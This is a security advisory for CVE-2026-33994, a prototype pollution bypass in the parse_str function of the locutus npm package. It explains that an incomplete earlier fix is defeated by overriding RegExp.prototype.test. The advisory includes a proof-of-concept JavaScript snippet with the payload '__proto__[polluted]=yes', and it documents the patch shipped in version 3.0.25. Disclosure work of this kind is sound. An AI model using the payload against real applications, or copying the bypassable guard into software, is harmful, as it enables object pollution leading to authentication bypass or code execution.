CVE-2026-33994

Description

## Summary A prototype pollution vulnerability exists in the `parse_str` function of the npm package locutus. An attacker can pollute `Object.prototype` by overriding `RegExp.prototype.test` and then passing a crafted query string to `parse_str`, bypassing the prototype pollution guard. This vulnerability stems from an incomplete fix for [CVE-2026-25521](https://github.com/locutusjs/locutus/security/advisories/GHSA-rxrv-835q-v5mh). The CVE-2026-25521 patch replaced the `String.prototype.includes()`-based guard with a `RegExp.prototype.test()`-based guard. However, `RegExp.prototype.test` is itself a writable prototype method that can be overridden, making the new guard bypassable in the same way as the original — trading one hijackable built-in for another. ## Package locutus (npm) ## Affected versions >= 2.0.39, <= 3.0.24 Tested and confirmed vulnerable on **2.0.39** and **3.0.24** (latest). Version 2.0.38 (pre-fix) uses a different guard (`String.prototype.includes`) and is not affected by this specific bypass. --- ## Description ### Details The vulnerability resides in `parse_str.js` where the `RegExp.prototype.test()` function is used to check whether user-provided input contains forbidden keys: ```javascript if (/__proto__|constructor|prototype/.test(key)) { break } ``` The previous guard (fixed in CVE-2026-25521) used `String.prototype.includes()`: ```javascript if (key.includes('__proto__')) { break } ``` The CVE-2026-25521 fix correctly identified that `String.prototype.includes` can be hijacked. However, the replacement guard using `RegExp.prototype.test()` suffers from the same class of weakness — `RegExp.prototype.test` is a writable method on the prototype chain and can be overridden to always return `false`, completely disabling the guard. The robust fix is to use direct string comparison operators (`===`) in native control flow (`for`/`if`) instead of prototype methods like `RegExp.prototype.test()`, since `===` is a language-level operator that cannot be overridden. ### PoC #### Steps to reproduce 1. Install locutus using `npm install locutus` 2. Run the following code snippet: ```javascript const parse_str = require('locutus/php/strings/parse_str'); // Hijack RegExp.prototype.test (simulates a prior prototype pollution gadget) const original = RegExp.prototype.test; RegExp.prototype.test = function () { return false; }; // Payload const result = {}; parse_str('__proto__[polluted]=yes', result); // Check RegExp.prototype.test = original; console.log(({}).polluted); // 'yes' — prototype is polluted ``` #### Expected behavior Prototype pollution should be prevented and `({}).polluted` should print `undefined`. ``` undefined ``` #### Actual behavior `Object.prototype` is polluted. This is printed on the console: ``` yes ``` ### Impact This is a prototype pollution vulnerability with the same impact as CVE-2026-25521. The attack requires a chaining scenario — an attacker needs a separate prototype pollution gadget (e.g., from another npm package in the same application) to override `RegExp.prototype.test` before exploiting `parse_str`. This is realistic in Node.js applications that use multiple npm packages, where one package's vulnerability can disable another package's defenses. Any application that processes attacker-controlled input using `locutus/php/strings/parse_str` may be affected. It could potentially lead to: 1. Authentication bypass 2. Denial of service 3. Remote code execution (if polluted property is passed to sinks like `eval` or `child_process`) ### Resources - Original advisory: https://github.com/locutusjs/locutus/security/advisories/GHSA-rxrv-835q-v5mh - Fix commit (incomplete): https://github.com/locutusjs/locutus/commit/042af9ca7fde2ff599120783e720a17f335bb01c - Vulnerable file: https://github.com/locutusjs/locutus/blob/main/src/php/strings/parse_str.js#L77 ## Maintainer response Thank you for the follow-up report. This issue was reproduced locally against `[email protected]`, confirming that the earlier `parse_str` guard was incomplete: if `RegExp.prototype.test` was already compromised, the guard could be bypassed and `parse_str('__proto__[polluted]=yes', result)` could still pollute `Object.prototype`. This is now fixed on `main` and released in `[email protected]`. ## Fix Shipped In - **PR:** [locutusjs/locutus#597](https://github.com/locutusjs/locutus/pull/597) - **Merge commit on `main`:** `345a6211e1e6f939f96a7090bfeff642c9fcf9e4` - **Release:** [v3.0.25](https://github.com/locutusjs/locutus/releases/tag/v3.0.25) ## What the Fix Does The new fix no longer relies on a regex-prototype guard for safety. Instead, `src/php/strings/parse_str.ts` now rejects dangerous key paths during parsed-segment assignment, so the sink itself is hardened even if `RegExp.prototype.test` has been tampered with beforehand. ## Tested Repro Before the Fix - Override `RegExp.prototype.test` to always return `false` - Call `parse_str('__proto__[polluted]=yes', result)` - Observe `({}).polluted === 'yes'` ## Tested State After the Fix in `3.0.25` - Dangerous key paths are skipped during assignment - The same chained repro no longer pollutes `Object.prototype` - The regression is covered by `test/custom/parse_str-prototype-pollution.vitest.ts` --- The locutus team is treating this as a real package vulnerability with patched version `3.0.25`. The vulnerable range should end at `< 3.0.25`.